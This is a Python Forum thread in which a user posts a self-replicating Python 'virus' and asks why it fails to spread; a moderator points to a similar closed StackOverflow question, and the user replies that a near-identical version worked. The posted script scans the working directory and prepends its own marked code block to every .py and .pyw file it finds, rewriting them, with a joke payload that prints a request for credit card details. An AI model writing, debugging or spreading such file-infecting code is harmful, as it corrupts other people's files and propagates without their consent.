Python Forum

Full Version: a bit of help required
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Hello i have coded this :
### start of virus ###

import sys, glob

code=[]
with open(sys.argv[0], 'r') as f:
    lines= f.readlines()

virus_area=False
for line in lines:
    if line =='### start of virus ###\n':
        virus_area=False
    if virus_area:
        code.append(line)
    if line =='### end of virus ###\n':
        break

python_scripts=glob.glob('*.py') + glob.glob('*.pyw')

for script in python_scripts:
    with open(script,'r') as f:
        script_code=f.readlines()

    infected=False
    for line in script_code:
        if line=='### start of virus ###\n':
            infected=True
            break

    if not infected:
        final_code=[]
        final_code.extend(code)
        final_code.extend('\n')
        final_code.extend(script_code)

        with open(script,'w') as f:
            f.writelines(final_code)

#malicious piece of code (payload)
print("Hello,I am a poorman's virus so please send your credit card info since I can't do anything else but replicate and say this",)

### end of virus ###
its suppose to replicate but it dosn't and it just add lines to my other scripts
Similar question to this one was posted on StackOverflow like 2 days ago and was closed.
If you have cross-posted elsewhere you should let us know.
Also, if it was not you and this is some sort of assignment it should be in Homework section.
(Nov-16-2020, 09:01 AM)buran Wrote: [ -> ]Similar question to this one was posted on StackOverflow like 2 days ago and was closed.
If you have cross-posted elsewhere you should let us know.
Also, if it was not you and this is some sort of assignment it should be in Homework section.

I didn't crossed posted it but i used the program he wrote wich was very similar and it worked so i guess case closed